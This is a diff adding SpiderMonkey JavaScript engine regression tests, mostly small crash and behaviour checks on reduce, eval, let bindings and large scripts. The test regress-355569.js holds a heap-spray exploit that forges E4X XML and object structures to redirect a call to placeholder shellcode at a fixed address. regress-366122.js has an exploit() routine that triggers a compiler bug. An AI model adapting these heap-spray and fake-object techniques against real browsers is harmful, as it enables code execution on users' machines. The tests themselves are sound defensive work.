+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355569.js b/js/src/tests/non262/regress/regress-355569.js
new file mode 100644
index 0000000000..7e995a435a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355569.js
@@ -0,0 +1,128 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 355569;
+var actual = '';
+var expect = '';
+var summary = '';
+
+printBugNumber (BUGNUMBER);
+printStatus (summary);
+
+var targetAddress = 0x12030010;
+var sprayParams = {
+ chunkSize: 16 * 1024 * 1024,
+ chunkCount: 16,
+ chunkMarker: 0xdeadface,
+ chunkAlign: 0x1000,
+ reservedSize: 1024
+};
+
+function makeExploitCode() {
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+}
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function packData(template, A) {
+ var n = 0, result = "", vl;
+ for(var i = 0; i < template.length; i++) {
+ var ch = template.charAt(i);
+ if(ch == "s" || ch == "S") {
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
+ } else if(ch == "l" || ch == "L") { // XXX endian
+ vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
+ } else if(ch == "=") {
+ result += String(A[n++]);
+ }
+ }
+ return result;
+}
+function buildStructure(worker, address) {
+ var offs = {}, result = "", context = {
+ append: function(k, v) { offs[k] = result.length * 2; result += v; },
+ address: function(k) { return address + ((k && offs[k]) || 0); }
+ }; worker(context); result = ""; worker(context); return result;
+}
+function repeatToLength(s, L) {
+ if(L <= s.length) { return s.substring(0, L); }
+ while(s.length <= L/2) { s += s; }
+ return s + s.substring(0, L - s.length);
+}
+function sprayData(data, params, rooter) {
+ var marker = packData("L", [ params.chunkMarker ]);
+ data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
+ data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
+ for(var i = 0; i < params.chunkCount; i++) {
+ rooter[i] = marker + data + i;
+ }
+}
+
+function T_JSObject(map, slots)
+{ return packData("LL", arguments); }
+function T_JSObjectMap(nrefs, ops, nslots, freeslot)
+{ return packData("LLLL", arguments); }
+function T_JSObjectOps(
+ newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
+ getProperty, setProperty, getAttributes, setAttributes,
+ deleteProperty, defaultValue, enumerate, checkAccess,
+ thisObject, dropProperty, call, construct,
+ xdrObject, hasInstance, setProto, setParent,
+ mark, clear, getRequiredSlot, setRequiredSlot
+) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
+
+function T_JSXML_LIST(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ xml_target, xml_targetprop
+) { return packData("LLLLSS LLLL LL", arguments); }
+function T_JSXML_ELEMENT(
+ object, domnode, parent, name, xml_class, xml_flags,
+ kids_length, kids_capacity, kids_vector, kids_cursors,
+ nses_length, nses_capacity, nses_vector, nses_cursors,
+ atrs_length, atrs_capacity, atrs_vector, atrs_cursors
+) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
+
+/*==========================================================================*/
+/*==========================================================================*/
+
+function makeExploitData(address) {
+ return buildStructure(function(ctx) {
+ ctx.append("xml-list",
+ T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
+ ctx.append("xml-kids-vector",
+ packData("L", [ ctx.address("xml-element") ]));
+ ctx.append("xml-element",
+ T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
+ ctx.append("object",
+ T_JSObject(ctx.address("object-map"), 0));
+ ctx.append("object-map",
+ T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
+ ctx.append("object-ops",
+ T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
+ ctx.append("exploit-code",
+ makeExploitCode(ctx));
+ }, address);
+}
+
+function exploit() {
+ sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
+ var numobj = new Number(targetAddress >> 1);
+ printStatus("probably not exploitable");
+}
+
+try
+{
+ exploit();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/non262/regress/regress-355829-01.js b/js/src/tests/non262/regress/regress-355829-01.js
new file mode 100644
index 0000000000..fa94cce9ff
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355829-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'Do not assert: !argc || argv[0].isNull() || argv[0].isUndefined()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ new Object({valueOf: /a/});
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355829-02.js b/js/src/tests/non262/regress/regress-355829-02.js
new file mode 100644
index 0000000000..ac633ad1ae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355829-02.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'js_ValueToObject should return the original object if OBJ_DEFAULT_VALUE returns a primitive value';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'Good conversion';
+
+ var primitiveValues = [
+ true, false, 0, 1, -2, 0.1, -2e100, 0/0, 1/0, -1/1, "", "xxx",
+ undefined, null
+ ];
+
+ for (var i = 0; i != primitiveValues.length; ++i) {
+ var v = primitiveValues[i];
+ var obj = { valueOf: function() { return v; } };
+ var obj2 = Object(obj);
+ if (obj !== obj2)
+ actual = "Bad conversion for '"+v + "'";
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355829-03.js b/js/src/tests/non262/regress/regress-355829-03.js
new file mode 100644
index 0000000000..0343e9c7db
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355829-03.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355829;
+var summary = 'js_ValueToObject should return the original object if OBJ_DEFAULT_VALUE returns a primitive value';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [ { valueOf: function() { return null; } } ];
+ a.toLocaleString();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355832-01.js b/js/src/tests/non262/regress/regress-355832-01.js
new file mode 100644
index 0000000000..d9b9dacbef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355832-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355832;
+var summary = 'execution of let binding nothing';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ { let [] = []; }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355832-02.js b/js/src/tests/non262/regress/regress-355832-02.js
new file mode 100644
index 0000000000..5a5f128b03
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355832-02.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355832;
+var summary = 'execution of let binding nothing';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ { let [] = []; print(3) } print(4)
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-356250.js b/js/src/tests/non262/regress/regress-356250.js
new file mode 100644
index 0000000000..a0756b77e0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-356250.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356250;
+var summary = 'Do not assert: !fp->fun || !(fp->fun->flags & JSFUN_HEAVYWEIGHT) || fp->callobj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+(function() { eval("(function() { })"); })();
+reportCompare(expect, actual, summary + ': nested 0');
+
+//-----------------------------------------------------------------------------
+test1();
+test2();
+//-----------------------------------------------------------------------------
+
+function test1()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { eval("(function() { })"); })();
+
+ reportCompare(expect, actual, summary + ': nested 1');
+}
+
+function test2()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function () {(function() { eval("(function() { })"); })();})();
+
+ reportCompare(expect, actual, summary + ': nested 2');
+}
diff --git a/js/src/tests/non262/regress/regress-356693.js b/js/src/tests/non262/regress/regress-356693.js
new file mode 100644
index 0000000000..6a1301f797
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-356693.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 356693;
+var summary = 'Do not assert: pn2->pn_op == JSOP_SETCALL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: x is not defined';
+ try
+ {
+ delete (0 ? 3 : x());
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-360969-01.js b/js/src/tests/non262/regress/regress-360969-01.js
new file mode 100644
index 0000000000..a04acd6c87
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-01.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local var';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('var pv;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+}
diff --git a/js/src/tests/non262/regress/regress-360969-02.js b/js/src/tests/non262/regress/regress-360969-02.js
new file mode 100644
index 0000000000..7ab7efed1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-02.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global var';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('var pv;');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
diff --git a/js/src/tests/non262/regress/regress-360969-03.js b/js/src/tests/non262/regress/regress-360969-03.js
new file mode 100644
index 0000000000..ff07e59a62
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-03.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local const';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('const pv' + i + ' = undefined;');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+}
diff --git a/js/src/tests/non262/regress/regress-360969-04.js b/js/src/tests/non262/regress/regress-360969-04.js
new file mode 100644
index 0000000000..d33dbbc213
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-04.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global const';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('const pv' + i + ' = undefined;');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
diff --git a/js/src/tests/non262/regress/regress-360969-05.js b/js/src/tests/non262/regress/regress-360969-05.js
new file mode 100644
index 0000000000..b83aeaf84f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-05.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: local function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+//-----------------------------------------------------------------------------
+test();
+
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var start = new Date();
+ var p;
+ var i;
+ var limit = 2 << 16;
+
+ for (var i = 0; i < limit; i++)
+ {
+ eval('function pf' + i + '() {}');
+ }
+
+ reportCompare(expect, actual, summary);
+
+ var stop = new Date();
+
+ print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+}
+
diff --git a/js/src/tests/non262/regress/regress-360969-06.js b/js/src/tests/non262/regress/regress-360969-06.js
new file mode 100644
index 0000000000..cd95040fba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-360969-06.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(Android&&isDebugBuild) slow -- bug 1216226
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360969;
+var summary = '2^17: global function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var global = this;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var start = new Date();
+var p;
+var i;
+var limit = 2 << 16;
+
+for (var i = 0; i < limit; i++)
+{
+ eval('function pf' + i + '() {}');
+}
+
+reportCompare(expect, actual, summary);
+
+var stop = new Date();
+
+print('Elapsed time: ' + Math.floor((stop - start)/1000) + ' seconds');
+
diff --git a/js/src/tests/non262/regress/regress-363040-01.js b/js/src/tests/non262/regress/regress-363040-01.js
new file mode 100644
index 0000000000..7b2d84c974
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-363040-01.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce, Array.prototype.reduceRight';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x,y) { return '(' + x + '+' + y + ')';}
+
+ var testdesc;
+ var arr0elms = [];
+ var arr1elms = [1];
+ var arr2elms = [1, 2];
+
+ testdesc = 'Test reduce of empty array without initializer.';
+ try
+ {
+ expect = 'TypeError: reduce of empty array with no initial value';
+ arr0elms.reduce(f);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of empty array without initializer.';
+ try
+ {
+ expect = 'TypeError: reduce of empty array with no initial value';
+ arr0elms.reduceRight(f);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of empty array with initial value.';
+ expect = 'a';
+ actual = arr0elms.reduce(f, 'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of empty array with initial value.';
+ expect = 'a';
+ actual = arr0elms.reduceRight(f, 'a');
+ reportCompare(expect + '', actual + '', testdesc +' : ' + expect);
+
+ testdesc = 'Test reduce of 1 element array with no initializer.';
+ expect = '1';
+ actual = arr1elms.reduce(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 1 element array with no initializer.';
+ expect = '1';
+ actual = arr1elms.reduceRight(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of 2 element array with no initializer.';
+ expect = '(1+2)';
+ actual = arr2elms.reduce(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduce of 2 element array with initializer.';
+ expect = '((a+1)+2)';
+ actual = arr2elms.reduce(f,'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 2 element array with no initializer.';
+ expect = '(2+1)';
+ actual = arr2elms.reduceRight(f);
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+
+ testdesc = 'Test reduceRight of 2 element array with no initializer.';
+ expect = '((a+2)+1)';
+ actual = arr2elms.reduceRight(f,'a');
+ reportCompare(expect + '', actual + '', testdesc + ' : ' + expect);
+}
diff --git a/js/src/tests/non262/regress/regress-363040-02.js b/js/src/tests/non262/regress/regress-363040-02.js
new file mode 100644
index 0000000000..043b7db779
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-363040-02.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in array flattening';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function flatten(arr)
+ {
+ function op(partial, item)
+ {
+ if (item instanceof Array)
+ Array.prototype.push.apply(partial, flatten(item));
+ else
+ partial.push(item);
+
+ return partial;
+ }
+
+ return arr.reduce(op, []);
+ }
+
+ expect = [1, 2, 3];
+ actual = flatten([1, 2, 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([1, [2], 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [2, 3];
+ actual = flatten([[], 2, 3]); // [2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([[1], 2, 3]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [4];
+ actual = flatten([[[[4]]]]); // [4]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [1, 2, 3];
+ actual = flatten([1, [2, [3]]]); // [1, 2, 3]
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+
+ expect = [];
+ actual = flatten([[[[[]]]]]); // []
+ reportCompare(expect + '', actual + '', summary + ': ' + expect);
+}
diff --git a/js/src/tests/non262/regress/regress-3649-n.js b/js/src/tests/non262/regress/regress-3649-n.js
new file mode 100644
index 0000000000..71f184d702
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-3649-n.js
@@ -0,0 +1,32 @@
+// |reftest| random -- may cause random oom related errors.
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from bug 2235 mff@research.att.com
+var BUGNUMBER = 3649;
+var summary = 'gc-checking branch callback.';
+var actual = 'error';
+var expect = 'error';
+
+DESCRIPTION = summary;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(3);
+expectExitCode(5);
+
+var s = "";
+s = "abcd";
+for (i = 0; i < 100000; i++) {
+ s += s;
+}
+
+expect = 'No Crash';
+actual = 'No Crash';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-366122.js b/js/src/tests/non262/regress/regress-366122.js
new file mode 100644
index 0000000000..e47f202d19
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-366122.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366122;
+var summary = 'Compile large script';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var code = "", obj = {};
+ for(var i = 0; i < 0x10000; i++) {
+ if(i == 10242) {
+ code += "void 0x10000050505050;\n";
+ } else {
+ code += "void 'x" + i + "';\n";
+ }
+ }
+ code += "export undefined;\n";
+ code += "void 125;\n";
+ eval(code);
+ }
+ try
+ {
+ exploit();
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-366468.js b/js/src/tests/non262/regress/regress-366468.js
new file mode 100644
index 0000000000..3c84c0331f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-366468.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366468;
+var summary = 'Set property without setter';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ function o(){} o.prototype = {get foo() {}}; obj = new o(); obj.foo = 2;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-366601.js b/js/src/tests/non262/regress/regress-366601.js
new file mode 100644
index 0000000000..9b1f4865a2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-366601.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366601;
+var summary = 'Switch with more than 64k atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 100*1000;
+ var src = 'var x = ["';
+ var array = Array(N);
+ for (var i = 0; i != N; ++i)
+ array[i] = i;
+ src += array.join('","')+'"];\n';
+ src += 'switch (a) { case "a": case "b": case "c": return null; } return x;';
+ var f = Function('a', src);
+ var r = f("a");
+ if (r !== null)
+ throw "Unexpected result: bad switch label";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-367561-01.js b/js/src/tests/non262/regress/regress-367561-01.js
new file mode 100644
index 0000000000..acdc256673
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-367561-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367561;
+var summary = 'JSOP_(GET|SET)METHOD and JSOP_SETCONST with > 64K atoms';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 1 << 16;
+ var src = 'var x = /';
+ var array = Array();
+ for (var i = 0; i != N/2; ++i)
+ array[i] = i;
+ src += array.join('/;x=/')+'/; x="';
+ src += array.join('";x="')+'";';
+ src += 'y.some_function();';
+ var f = Function(src);
+ var src2 = f.toString();
+
+ reportCompare(expect, actual, summary);
+}
